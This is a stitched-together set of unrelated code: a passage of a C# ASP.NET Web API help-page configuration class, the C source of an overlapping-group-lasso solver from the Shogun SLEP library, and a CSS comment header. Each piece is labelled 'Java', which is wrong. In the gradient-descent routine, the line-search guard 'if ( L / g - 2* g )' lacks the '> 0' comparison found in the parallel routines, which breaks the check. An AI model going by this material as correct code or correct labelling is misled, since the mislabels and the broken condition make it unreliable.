action.</param> /// <param name="parameterNames">The parameter names.</param> public static void SetSampleResponse(this HttpConfiguration config, object sample, MediaTypeHeaderValue mediaType, string controllerName, string actionName, params string[] parameterNames) { config.GetHelpPageSampleGenerator().ActionSamples.Add(new HelpPageSampleKey(mediaType, SampleDirection.Response, controllerName, actionName, parameterNames), sample); } /// <summary> /// Sets the sample directly for all actions with the specified type and media type. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="sample">The sample.</param> /// <param name="mediaType">The media type.</param> /// <param name="type">The parameter type or return type of an action.</param> public static void SetSampleForType(this HttpConfiguration config, object sample, MediaTypeHeaderValue mediaType, Type type) { config.GetHelpPageSampleGenerator().ActionSamples.Add(new HelpPageSampleKey(mediaType, type), sample); } /// <summary> /// Specifies the actual type of <see cref="System.Net.Http.ObjectContent{T}"/> passed to the <see cref="System.Net.Http.HttpRequestMessage"/> in an action. /// The help page will use this information to produce more accurate request samples. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="type">The type.</param> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the action.</param> public static void SetActualRequestType(this HttpConfiguration config, Type type, string controllerName, string actionName) { config.GetHelpPageSampleGenerator().ActualHttpMessageTypes.Add(new HelpPageSampleKey(SampleDirection.Request, controllerName, actionName, new[] { "*" }), type); } /// <summary> /// Specifies the actual type of <see cref="System.Net.Http.ObjectContent{T}"/> passed to the <see cref="System.Net.Http.HttpRequestMessage"/> in an action. /// The help page will use this information to produce more accurate request samples. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="type">The type.</param> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the action.</param> /// <param name="parameterNames">The parameter names.</param> public static void SetActualRequestType(this HttpConfiguration config, Type type, string controllerName, string actionName, params string[] parameterNames) { config.GetHelpPageSampleGenerator().ActualHttpMessageTypes.Add(new HelpPageSampleKey(SampleDirection.Request, controllerName, actionName, parameterNames), type); } /// <summary> /// Specifies the actual type of <see cref="System.Net.Http.ObjectContent{T}"/> returned as part of the <see cref="System.Net.Http.HttpRequestMessage"/> in an action. /// The help page will use this information to produce more accurate response samples. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="type">The type.</param> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the action.</param> public static void SetActualResponseType(this HttpConfiguration config, Type type, string controllerName, string actionName) { config.GetHelpPageSampleGenerator().ActualHttpMessageTypes.Add(new HelpPageSampleKey(SampleDirection.Response, controllerName, actionName, new[] { "*" }), type); } /// <summary> /// Specifies the actual type of <see cref="System.Net.Http.ObjectContent{T}"/> returned as part of the <see cref="System.Net.Http.HttpRequestMessage"/> in an action. /// The help page will use this information to produce more accurate response samples. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="type">The type.</param> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the action.</param> /// <param name="parameterNames">The parameter names.</param> public static void SetActualResponseType(this HttpConfiguration config, Type type, string controllerName, string actionName, params string[] parameterNames) { config.GetHelpPageSampleGenerator().ActualHttpMessageTypes.Add(new HelpPageSampleKey(SampleDirection.Response, controllerName, actionName, parameterNames), type); } /// <summary> /// Gets the help page sample generator. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <returns>The help page sample generator.</returns> public static HelpPageSampleGenerator GetHelpPageSampleGenerator(this HttpConfiguration config) { return (HelpPageSampleGenerator)config.Properties.GetOrAdd( typeof(HelpPageSampleGenerator), k => new HelpPageSampleGenerator()); } /// <summary> /// Sets the help page sample generator. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="sampleGenerator">The help page sample generator.</param> public static void SetHelpPageSampleGenerator(this HttpConfiguration config, HelpPageSampleGenerator sampleGenerator) { config.Properties.AddOrUpdate( typeof(HelpPageSampleGenerator), k => sampleGenerator, (k, o) => sampleGenerator); } /// <summary> /// Gets the model that represents an API displayed on the help page. The model is initialized on the first call and cached for subsequent calls. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="apiDescriptionId">The <see cref="ApiDescription"/> ID.</param> /// <returns> /// An <see cref="HelpPageApiModel"/> /// </returns> public static HelpPageApiModel GetHelpPageApiModel(this HttpConfiguration config, string apiDescriptionId) { object model; string modelId = ApiModelPrefix + apiDescriptionId; if (!config.Properties.TryGetValue(modelId, out model)) { Collection<ApiDescription> apiDescriptions = config.Services.GetApiExplorer().ApiDescriptions; ApiDescription apiDescription = apiDescriptions.FirstOrDefault(api => String.Equals(api.GetFriendlyId(), apiDescriptionId, StringComparison.OrdinalIgnoreCase)); if (apiDescription != null) { HelpPageSampleGenerator sampleGenerator = config.GetHelpPageSampleGenerator(); model = GenerateApiModel(apiDescription, sampleGenerator); config.Properties.TryAdd(modelId, model); } } return (HelpPageApiModel)model; } [SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes", Justification = "The exception is recorded as ErrorMessages.")] private static HelpPageApiModel GenerateApiModel(ApiDescription apiDescription, HelpPageSampleGenerator sampleGenerator) { HelpPageApiModel apiModel = new HelpPageApiModel(); apiModel.ApiDescription = apiDescription; try { foreach (var item in sampleGenerator.GetSampleRequests(apiDescription)) { apiModel.SampleRequests.Add(item.Key, item.Value); LogInvalidSampleAsError(apiModel, item.Value); } foreach (var item in sampleGenerator.GetSampleResponses(apiDescription)) { apiModel.SampleResponses.Add(item.Key, item.Value); LogInvalidSampleAsError(apiModel, item.Value); } } catch (Exception e) { apiModel.ErrorMessages.Add(String.Format(CultureInfo.CurrentCulture, "An exception has occurred while generating the sample. Exception Message: {0}", e.Message)); } return apiModel; } private static void LogInvalidSampleAsError(HelpPageApiModel apiModel, object sample) { InvalidSample invalidSample = sample as InvalidSample; if (invalidSample != null) { apiModel.ErrorMessages.Add(invalidSample.ErrorMessage); } } } }
Java
/* This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * * Copyright (C) 2009 - 2012 Jun Liu and Jieping Ye */ #include <shogun/lib/slep/overlapping/overlapping.h> void identifySomeZeroEntries(double * u, int * zeroGroupFlag, int *entrySignFlag, int *pp, int *gg, double *v, double lambda1, double lambda2, int p, int g, double * w, double *G){ int i, j, newZeroNum, iterStep=0; double twoNorm, temp; /* * process the L1 norm * * generate the u>=0, and assign values to entrySignFlag * */ for(i=0;i<p;i++){ if (v[i]> lambda1){ u[i]=v[i]-lambda1; entrySignFlag[i]=1; } else{ if (v[i] < -lambda1){ u[i]= -v[i] -lambda1; entrySignFlag[i]=-1; } else{ u[i]=0; entrySignFlag[i]=0; } } } /* * Applying Algorithm 1 for identifying some sparse groups * */ /* zeroGroupFlag denotes whether the corresponding group is zero */ for(i=0;i<g;i++) zeroGroupFlag[i]=1; while(1){ iterStep++; if (iterStep>g+1){ printf("\n Identify Zero Group: iterStep= %d. The code might have a bug! Check it!", iterStep); return; } /*record the number of newly detected sparse groups*/ newZeroNum=0; for (i=0;i<g;i++){ if(zeroGroupFlag[i]){ /*compute the two norm of the */ twoNorm=0; for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++){ temp=u[ (int) G[j]]; twoNorm+=temp*temp; } twoNorm=sqrt(twoNorm); /* printf("\n twoNorm=%2.5f, %2.5f",twoNorm,lambda2 * w[3*i+2]); */ /* * Test whether this group should be sparse */ if (twoNorm<= lambda2 * w[3*i+2] ){ zeroGroupFlag[i]=0; for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++) u[ (int) G[j]]=0; newZeroNum++; /* printf("\n zero group=%d", i); */ } } /*end of if(!zeroGroupFlag[i]) */ } /*end of for*/ if (newZeroNum==0) break; } *pp=0; /* zeroGroupFlag denotes whether the corresponding entry is zero */ for(i=0;i<p;i++){ if (u[i]==0){ entrySignFlag[i]=0; *pp=*pp+1; } } *gg=0; for(i=0;i<g;i++){ if (zeroGroupFlag[i]==0) *gg=*gg+1; } } void xFromY(double *x, double *y, double *u, double *Y, int p, int g, int *zeroGroupFlag, double *G, double *w){ int i,j; for(i=0;i<p;i++) x[i]=u[i]; for(i=0;i<g;i++){ if(zeroGroupFlag[i]){ /*this group is non-zero*/ for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++){ x[ (int) G[j] ] -= Y[j]; } } }/*end of for(i=0;i<g;i++) */ for(i=0;i<p;i++){ if (x[i]>=0){ y[i]=0; } else{ y[i]=x[i]; x[i]=0; } } } void YFromx(double *Y, double *xnew, double *Ynew, double lambda2, int g, int *zeroGroupFlag, double *G, double *w){ int i, j; double twoNorm, temp; for(i=0;i<g;i++){ if(zeroGroupFlag[i]){ /*this group is non-zero*/ twoNorm=0; for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++){ temp=xnew[ (int) G[j] ]; Y[j]=temp; twoNorm+=temp*temp; } twoNorm=sqrt(twoNorm); /* two norm for x_{G_i}*/ if (twoNorm > 0 ){ /*if x_{G_i} is non-zero*/ temp=lambda2 * w[3*i+2] / twoNorm; for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++) Y[j] *= temp; } else /*if x_{G_j} =0, we let Y^i=Ynew^i*/ { for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++) Y[j]=Ynew[j]; } } }/*end of for(i=0;i<g;i++) */ } void dualityGap(double *gap, double *penalty2, double *x, double *Y, int g, int *zeroGroupFlag, double *G, double *w, double lambda2){ int i,j; double temp, twoNorm, innerProduct; *gap=0; *penalty2=0; for(i=0;i<g;i++){ if(zeroGroupFlag[i]){ /*this group is non-zero*/ twoNorm=0;innerProduct=0; for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++){ temp=x[ (int) G[j] ]; twoNorm+=temp*temp; innerProduct+=temp * Y[j]; } twoNorm=sqrt(twoNorm)* w[3*i +2]; *penalty2+=twoNorm; twoNorm=lambda2 * twoNorm; if (twoNorm > innerProduct) *gap+=twoNorm-innerProduct; } }/*end of for(i=0;i<g;i++) */ } void overlapping_gd(double *x, double *gap, double *penalty2, double *v, int p, int g, double lambda1, double lambda2, double *w, double *G, double *Y, int maxIter, int flag, double tol){ int YSize=(int) w[3*(g-1) +1]+1; double *u=(double *)malloc(sizeof(double)*p); double *y=(double *)malloc(sizeof(double)*p); double *xnew=(double *)malloc(sizeof(double)*p); double *Ynew=(double *)malloc(sizeof(double)* YSize ); int *zeroGroupFlag=(int *)malloc(sizeof(int)*g); int *entrySignFlag=(int *)malloc(sizeof(int)*p); int pp, gg; int i, j, iterStep; double twoNorm,temp, L=1, leftValue, rightValue, gapR, penalty2R; int nextRestartStep=0; /* * call the function to identify some zero entries * * entrySignFlag[i]=0 denotes that the corresponding entry is definitely zero * * zeroGroupFlag[i]=0 denotes that the corresponding group is definitely zero * */ identifySomeZeroEntries(u, zeroGroupFlag, entrySignFlag, &pp, &gg, v, lambda1, lambda2, p, g, w, G); penalty2[1]=pp; penalty2[2]=gg; /*store pp and gg to penalty2[1] and penalty2[2]*/ /* *------------------- * Process Y *------------------- * We make sure that Y is feasible * and if x_i=0, then set Y_{ij}=0 */ for(i=0;i<g;i++){ if(zeroGroupFlag[i]){ /*this group is non-zero*/ /*compute the two norm of the group*/ twoNorm=0; for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++){ if (! u[ (int) G[j] ] ) Y[j]=0; twoNorm+=Y[j]*Y[j]; } twoNorm=sqrt(twoNorm); if (twoNorm > lambda2 * w[3*i+2] ){ temp=lambda2 * w[3*i+2] / twoNorm; for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++) Y[j]*=temp; } } else{ /*this group is zero*/ for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++) Y[j]=0; } } /* * set Ynew to zero * * in the following processing, we only operator Y and Ynew in the * possibly non-zero groups by "if(zeroGroupFlag[i])" * */ for(i=0;i<YSize;i++) Ynew[i]=0; /* * ------------------------------------ * Gradient Descent begins here * ------------------------------------ */ /* * compute x=max(u-Y * e, 0); * */ xFromY(x, y, u, Y, p, g, zeroGroupFlag, G, w); /*the main loop */ for(iterStep=0;iterStep<maxIter;iterStep++){ /* * the gradient at Y is * * omega'(Y)=-x e^T * * where x=max(u-Y * e, 0); * */ /* * line search to find Ynew with appropriate L */ while (1){ /* * compute * Ynew = proj ( Y + x e^T / L ) */ for(i=0;i<g;i++){ if(zeroGroupFlag[i]){ /*this group is non-zero*/ twoNorm=0; for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++){ Ynew[j]= Y[j] + x[ (int) G[j] ] / L; twoNorm+=Ynew[j]*Ynew[j]; } twoNorm=sqrt(twoNorm); if (twoNorm > lambda2 * w[3*i+2] ){ temp=lambda2 * w[3*i+2] / twoNorm; for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++) Ynew[j]*=temp; } } }/*end of for(i=0;i<g;i++) */ /* * compute xnew=max(u-Ynew * e, 0); * *void xFromY(double *x, double *y, * double *u, double *Y, * int p, int g, int *zeroGroupFlag, * double *G, double *w) */ xFromY(xnew, y, u, Ynew, p, g, zeroGroupFlag, G, w); /* test whether L is appropriate*/ leftValue=0; for(i=0;i<p;i++){ if (entrySignFlag[i]){ temp=xnew[i]-x[i]; leftValue+= temp * ( 0.5 * temp + y[i]); } } rightValue=0; for(i=0;i<g;i++){ if(zeroGroupFlag[i]){ /*this group is non-zero*/ for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++){ temp=Ynew[j]-Y[j]; rightValue+=temp * temp; } } }/*end of for(i=0;i<g;i++) */ rightValue=rightValue/2; if ( leftValue <= L * rightValue){ temp= L * rightValue / leftValue; if (temp >5) L=L*0.8; break; } else{ temp=leftValue / rightValue; if (L*2 <= temp) L=temp; else L=2*L; if ( L / g - 2* g ){ if (rightValue < 1e-16){ break; } else{ printf("\n GD: leftValue=%e, rightValue=%e, ratio=%e", leftValue, rightValue, temp); printf("\n L=%e > 2 * %d * %d. There might be a bug here. Otherwise, it is due to numerical issue.", L, g, g); break; } } } } /* compute the duality gap at (xnew, Ynew) * * void dualityGap(double *gap, double *penalty2, * double *x, double *Y, int g, int *zeroGroupFlag, * double *G, double *w, double lambda2) * */ dualityGap(gap, penalty2, xnew, Ynew, g, zeroGroupFlag, G, w, lambda2); /* * flag =1 means restart * * flag =0 means with restart * * nextRestartStep denotes the next "step number" for * initializing the restart process. * * This is based on the fact that, the result is only beneficial when * xnew is good. In other words, * if xnew is not good, then the * restart might not be helpful. */ if ( (flag==0) || (flag==1 && iterStep < nextRestartStep )){ /* copy Ynew to Y, and xnew to x */ memcpy(x, xnew, sizeof(double) * p); memcpy(Y, Ynew, sizeof(double) * YSize); /* printf("\n iterStep=%d, L=%2.5f, gap=%e", iterStep, L, *gap); */ } else{ /* * flag=1 * * We allow the restart of the program. * * Here, Y is constructed as a subgradient of xnew, based on the * assumption that Y might be a better choice than Ynew, provided * that xnew is good enough. * */ /* * compute the restarting point Y with xnew and Ynew * *void YFromx(double *Y, * double *xnew, double *Ynew, * double lambda2, int g, int *zeroGroupFlag, * double *G, double *w) */ YFromx(Y, xnew, Ynew, lambda2, g, zeroGroupFlag, G, w); /*compute the solution with the starting point Y * *void xFromY(double *x, double *y, * double *u, double *Y, * int p, int g, int *zeroGroupFlag, * double *G, double *w) * */ xFromY(x, y, u, Y, p, g, zeroGroupFlag, G, w); /*compute the duality at (x, Y) * * void dualityGap(double *gap, double *penalty2, * double *x, double *Y, int g, int *zeroGroupFlag, * double *G, double *w, double lambda2) * */ dualityGap(&gapR, &penalty2R, x, Y, g, zeroGroupFlag, G, w, lambda2); if (*gap< gapR){ /*(xnew, Ynew) is better in terms of duality gap*/ /* copy Ynew to Y, and xnew to x */ memcpy(x, xnew, sizeof(double) * p); memcpy(Y, Ynew, sizeof(double) * YSize); /*In this case, we do not apply restart, as (x,Y) is not better * * We postpone the "restart" by giving a * "nextRestartStep" */ /* * we test *gap here, in case *gap=0 */ if (*gap <=tol) break; else{ nextRestartStep=iterStep+ (int) sqrt(gapR / *gap); } } else{ /*we use (x, Y), as it is better in terms of duality gap*/ *gap=gapR; *penalty2=penalty2R; } /* printf("\n iterStep=%d, L=%2.5f, gap=%e, gapR=%e", iterStep, L, *gap, gapR); */ } /* * if the duality gap is within pre-specified parameter tol * * we terminate the algorithm */ if (*gap <=tol) break; } penalty2[3]=iterStep; penalty2[4]=0; for(i=0;i<g;i++){ if (zeroGroupFlag[i]==0) penalty2[4]=penalty2[4]+1; else{ for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++){ if (x[ (int) G[j] ] !=0) break; } if (j>(int) w[3*i +1]) penalty2[4]=penalty2[4]+1; } } /* * assign sign to the solution x */ for(i=0;i<p;i++){ if (entrySignFlag[i]==-1){ x[i]=-x[i]; } } free (u); free (y); free (xnew); free (Ynew); free (zeroGroupFlag); free (entrySignFlag); } void gradientDescentStep(double *xnew, double *Ynew, double *LL, double *u, double *y, int *entrySignFlag, double lambda2, double *x, double *Y, int p, int g, int * zeroGroupFlag, double *G, double *w){ double twoNorm, temp, L=*LL, leftValue, rightValue; int i,j; while (1){ /* * compute * Ynew = proj ( Y + x e^T / L ) */ for(i=0;i<g;i++){ if(zeroGroupFlag[i]){ /*this group is non-zero*/ twoNorm=0; for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++){ Ynew[j]= Y[j] + x[ (int) G[j] ] / L; twoNorm+=Ynew[j]*Ynew[j]; } twoNorm=sqrt(twoNorm); if (twoNorm > lambda2 * w[3*i+2] ){ temp=lambda2 * w[3*i+2] / twoNorm; for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++) Ynew[j]*=temp; } } }/*end of for(i=0;i<g;i++) */ /* * compute xnew=max(u-Ynew * e, 0); * *void xFromY(double *x, double *y, * double *u, double *Y, * int p, int g, int *zeroGroupFlag, * double *G, double *w) */ xFromY(xnew, y, u, Ynew, p, g, zeroGroupFlag, G, w); /* test whether L is appropriate*/ leftValue=0; for(i=0;i<p;i++){ if (entrySignFlag[i]){ temp=xnew[i]-x[i]; leftValue+= temp * ( 0.5 * temp + y[i]); } } rightValue=0; for(i=0;i<g;i++){ if(zeroGroupFlag[i]){ /*this group is non-zero*/ for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++){ temp=Ynew[j]-Y[j]; rightValue+=temp * temp; } } }/*end of for(i=0;i<g;i++) */ rightValue=rightValue/2; /* printf("\n leftValue =%e, rightValue=%e, L=%e", leftValue, rightValue, L); */ if ( leftValue <= L * rightValue){ temp= L * rightValue / leftValue; if (temp >5) L=L*0.8; break; } else{ temp=leftValue / rightValue; if (L*2 <= temp) L=temp; else L=2*L; if ( L / g - 2* g >0 ){ if (rightValue < 1e-16){ break; } else{ printf("\n One Gradient Step: leftValue=%e, rightValue=%e, ratio=%e", leftValue, rightValue, temp); printf("\n L=%e > 2 * %d * %d. There might be a bug here. Otherwise, it is due to numerical issue.", L, g, g); break; } } } } *LL=L; } void overlapping_agd(double *x, double *gap, double *penalty2, double *v, int p, int g, double lambda1, double lambda2, double *w, double *G, double *Y, int maxIter, int flag, double tol){ int YSize=(int) w[3*(g-1) +1]+1; double *u=(double *)malloc(sizeof(double)*p); double *y=(double *)malloc(sizeof(double)*p); double *xnew=(double *)malloc(sizeof(double)*p); double *Ynew=(double *)malloc(sizeof(double)* YSize ); double *xS=(double *)malloc(sizeof(double)*p); double *YS=(double *)malloc(sizeof(double)* YSize ); /*double *xp=(double *)malloc(sizeof(double)*p);*/ double *Yp=(double *)malloc(sizeof(double)* YSize ); int *zeroGroupFlag=(int *)malloc(sizeof(int)*g); int *entrySignFlag=(int *)malloc(sizeof(int)*p); int pp, gg; int i, j, iterStep; double twoNorm,temp, L=1, leftValue, rightValue, gapR, penalty2R; int nextRestartStep=0; double alpha, alphap=0.5, beta, gamma; /* * call the function to identify some zero entries * * entrySignFlag[i]=0 denotes that the corresponding entry is definitely zero * * zeroGroupFlag[i]=0 denotes that the corresponding group is definitely zero * */ identifySomeZeroEntries(u, zeroGroupFlag, entrySignFlag, &pp, &gg, v, lambda1, lambda2, p, g, w, G); penalty2[1]=pp; penalty2[2]=gg; /*store pp and gg to penalty2[1] and penalty2[2]*/ /* *------------------- * Process Y *------------------- * We make sure that Y is feasible * and if x_i=0, then set Y_{ij}=0 */ for(i=0;i<g;i++){ if(zeroGroupFlag[i]){ /*this group is non-zero*/ /*compute the two norm of the group*/ twoNorm=0; for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++){ if (! u[ (int) G[j] ] ) Y[j]=0; twoNorm+=Y[j]*Y[j]; } twoNorm=sqrt(twoNorm); if (twoNorm > lambda2 * w[3*i+2] ){ temp=lambda2 * w[3*i+2] / twoNorm; for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++) Y[j]*=temp; } } else{ /*this group is zero*/ for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++) Y[j]=0; } } /* * set Ynew and Yp to zero * * in the following processing, we only operate, Yp, Y and Ynew in the * possibly non-zero groups by "if(zeroGroupFlag[i])" * */ for(i=0;i<YSize;i++) YS[i]=Yp[i]=Ynew[i]=0; /* * --------------- * * we first do a gradient descent step for determing the value of an approporate L * * Also, we initialize gamma * * with Y, we compute a new Ynew * */ /* * compute x=max(u-Y * e, 0); */ xFromY(x, y, u, Y, p, g, zeroGroupFlag, G, w); /* * compute (xnew, Ynew) from (x, Y) * * * gradientDescentStep(double *xnew, double *Ynew, double *LL, double *u, double *y, int *entrySignFlag, double lambda2, double *x, double *Y, int p, int g, int * zeroGroupFlag, double *G, double *w) */ gradientDescentStep(xnew, Ynew, &L, u, y,entrySignFlag,lambda2, x, Y, p, g, zeroGroupFlag, G, w); /* * we have finished one gradient descent to get * * (x, Y) and (xnew, Ynew), where (xnew, Ynew) is * * a gradient descent step based on (x, Y) * * we set (xp, Yp)=(x, Y) * * (x, Y)= (xnew, Ynew) */ /*memcpy(xp, x, sizeof(double) * p);*/ memcpy(Yp, Y, sizeof(double) * YSize); /*memcpy(x, xnew, sizeof(double) * p);*/ memcpy(Y, Ynew, sizeof(double) * YSize); gamma=L; /* * ------------------------------------ * Accelerated Gradient Descent begins here * ------------------------------------ */ for(iterStep=0;iterStep<maxIter;iterStep++){ while (1){ /* * compute alpha as the positive root of * * L * alpha^2 = (1-alpha) * gamma * */ alpha= ( - gamma + sqrt( gamma * gamma + 4 * L * gamma ) ) / 2 / L; beta= gamma * (1-alphap)/ alphap / (gamma + L * alpha); /* * compute YS= Y + beta * (Y - Yp) * */ for(i=0;i<g;i++){ if(zeroGroupFlag[i]){ /*this group is non-zero*/ for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++){ YS[j]=Y[j] + beta * (Y[j]-Yp[j]); } } }/*end of for(i=0;i<g;i++) */ /* * compute xS */ xFromY(xS, y, u, YS, p, g, zeroGroupFlag, G, w); /* * * Ynew = proj ( YS + xS e^T / L ) * */ for(i=0;i<g;i++){ if(zeroGroupFlag[i]){ /*this group is non-zero*/ twoNorm=0; for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++){ Ynew[j]= YS[j] + xS[ (int) G[j] ] / L; twoNorm+=Ynew[j]*Ynew[j]; } twoNorm=sqrt(twoNorm); if (twoNorm > lambda2 * w[3*i+2] ){ temp=lambda2 * w[3*i+2] / twoNorm; for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++) Ynew[j]*=temp; } } }/*end of for(i=0;i<g;i++) */ /* * compute xnew=max(u-Ynew * e, 0); * *void xFromY(double *x, double *y, * double *u, double *Y, * int p, int g, int *zeroGroupFlag, * double *G, double *w) */ xFromY(xnew, y, u, Ynew, p, g, zeroGroupFlag, G, w); /* test whether L is appropriate*/ leftValue=0; for(i=0;i<p;i++){ if (entrySignFlag[i]){ temp=xnew[i]-xS[i]; leftValue+= temp * ( 0.5 * temp + y[i]); } } rightValue=0; for(i=0;i<g;i++){ if(zeroGroupFlag[i]){ /*this group is non-zero*/ for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++){ temp=Ynew[j]-YS[j]; rightValue+=temp * temp; } } }/*end of for(i=0;i<g;i++) */ rightValue=rightValue/2; if ( leftValue <= L * rightValue){ temp= L * rightValue / leftValue; if (temp >5) L=L*0.8; break; } else{ temp=leftValue / rightValue; if (L*2 <= temp) L=temp; else L=2*L; if ( L / g - 2* g >0 ){ if (rightValue < 1e-16){ break; } else{ printf("\n AGD: leftValue=%e, rightValue=%e, ratio=%e", leftValue, rightValue, temp); printf("\n L=%e > 2 * %d * %d. There might be a bug here. Otherwise, it is due to numerical issue.", L, g, g); break; } } } } /* compute the duality gap at (xnew, Ynew) * * void dualityGap(double *gap, double *penalty2, * double *x, double *Y, int g, int *zeroGroupFlag, * double *G, double *w, double lambda2) * */ dualityGap(gap, penalty2, xnew, Ynew, g, zeroGroupFlag, G, w, lambda2); /* * if the duality gap is within pre-specified parameter tol * * we terminate the algorithm */ if (*gap <=tol){ memcpy(x, xnew, sizeof(double) * p); memcpy(Y, Ynew, sizeof(double) * YSize); break; } /* * flag =1 means restart * * flag =0 means with restart * * nextRestartStep denotes the next "step number" for * initializing the restart process. * * This is based on the fact that, the result is only beneficial when * xnew is good. In other words, * if xnew is not good, then the * restart might not be helpful. */ if ( (flag==0) || (flag==1 && iterStep < nextRestartStep )){ /*memcpy(xp, x, sizeof(double) * p);*/ memcpy(Yp, Y, sizeof(double) * YSize); /*memcpy(x, xnew, sizeof(double) * p);*/ memcpy(Y, Ynew, sizeof(double) * YSize); gamma=gamma * (1-alpha); alphap=alpha; /* printf("\n iterStep=%d, L=%2.5f, gap=%e", iterStep, L, *gap); */ } else{ /* * flag=1 * * We allow the restart of the program. * * Here, Y is constructed as a subgradient of xnew, based on the * assumption that Y might be a better choice than Ynew, provided * that xnew is good enough. * */ /* * compute the restarting point YS with xnew and Ynew * *void YFromx(double *Y, * double *xnew, double *Ynew, * double lambda2, int g, int *zeroGroupFlag, * double *G, double *w) */ YFromx(YS, xnew, Ynew, lambda2, g, zeroGroupFlag, G, w); /*compute the solution with the starting point YS * *void xFromY(double *x, double *y, * double *u, double *Y, * int p, int g, int *zeroGroupFlag, * double *G, double *w) * */ xFromY(xS, y, u, YS, p, g, zeroGroupFlag, G, w); /*compute the duality at (xS, YS) * * void dualityGap(double *gap, double *penalty2, * double *x, double *Y, int g, int *zeroGroupFlag, * double *G, double *w, double lambda2) * */ dualityGap(&gapR, &penalty2R, xS, YS, g, zeroGroupFlag, G, w, lambda2); if (*gap< gapR){ /*(xnew, Ynew) is better in terms of duality gap*/ /*In this case, we do not apply restart, as (xS,YS) is not better * * We postpone the "restart" by giving a * "nextRestartStep" */ /*memcpy(xp, x, sizeof(double) * p);*/ memcpy(Yp, Y, sizeof(double) * YSize); /*memcpy(x, xnew, sizeof(double) * p);*/ memcpy(Y, Ynew, sizeof(double) * YSize); gamma=gamma * (1-alpha); alphap=alpha; nextRestartStep=iterStep+ (int) sqrt(gapR / *gap); } else{ /*we use (xS, YS), as it is better in terms of duality gap*/ *gap=gapR; *penalty2=penalty2R; if (*gap <=tol){ memcpy(x, xS, sizeof(double) * p); memcpy(Y, YS, sizeof(double) * YSize); break; }else{ /* * we do a gradient descent based on (xS, YS) * */ /* * compute (x, Y) from (xS, YS) * * * gradientDescentStep(double *xnew, double *Ynew, * double *LL, double *u, double *y, int *entrySignFlag, double lambda2, * double *x, double *Y, int p, int g, int * zeroGroupFlag, * double *G, double *w) */ gradientDescentStep(x, Y, &L, u, y, entrySignFlag,lambda2, xS, YS, p, g, zeroGroupFlag, G, w); /*memcpy(xp, xS, sizeof(double) * p);*/ memcpy(Yp, YS, sizeof(double) * YSize); gamma=L; alphap=0.5; } } /* * printf("\n iterStep=%d, L=%2.5f, gap=%e, gapR=%e", iterStep, L, *gap, gapR); */ }/* flag =1*/ } /* main loop */ penalty2[3]=iterStep+1; /* * get the number of nonzero groups */ penalty2[4]=0; for(i=0;i<g;i++){ if (zeroGroupFlag[i]==0) penalty2[4]=penalty2[4]+1; else{ for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++){ if (x[ (int) G[j] ] !=0) break; } if (j>(int) w[3*i +1]) penalty2[4]=penalty2[4]+1; } } /* * assign sign to the solution x */ for(i=0;i<p;i++){ if (entrySignFlag[i]==-1){ x[i]=-x[i]; } } free (u); free (y); free (xnew); free (Ynew); free (xS); free (YS); /*free (xp);*/ free (Yp); free (zeroGroupFlag); free (entrySignFlag); } void overlapping(double *x, double *gap, double *penalty2, double *v, int p, int g, double lambda1, double lambda2, double *w, double *G, double *Y, int maxIter, int flag, double tol){ switch(flag){ case 0: case 1: overlapping_gd(x, gap, penalty2, v, p, g, lambda1, lambda2, w, G, Y, maxIter, flag,tol); break; case 2: case 3: overlapping_agd(x, gap, penalty2, v, p, g, lambda1, lambda2, w, G, Y, maxIter, flag-2,tol); break; default: /* printf("\n Wrong flag! The value of flag should be 0,1,2,3. The program uses flag=2.");*/ overlapping_agd(x, gap, penalty2, v, p, g, lambda1, lambda2, w, G, Y, maxIter, 0,tol); break; } }
Java
/** Select # What? # Part of my "Responsive Menu Concepts" article on CSS-Tricks http://css-tricks.com/responsive-menu-concepts # 2012 by Tim Pietrusky # timpietrusky.com **/
Java
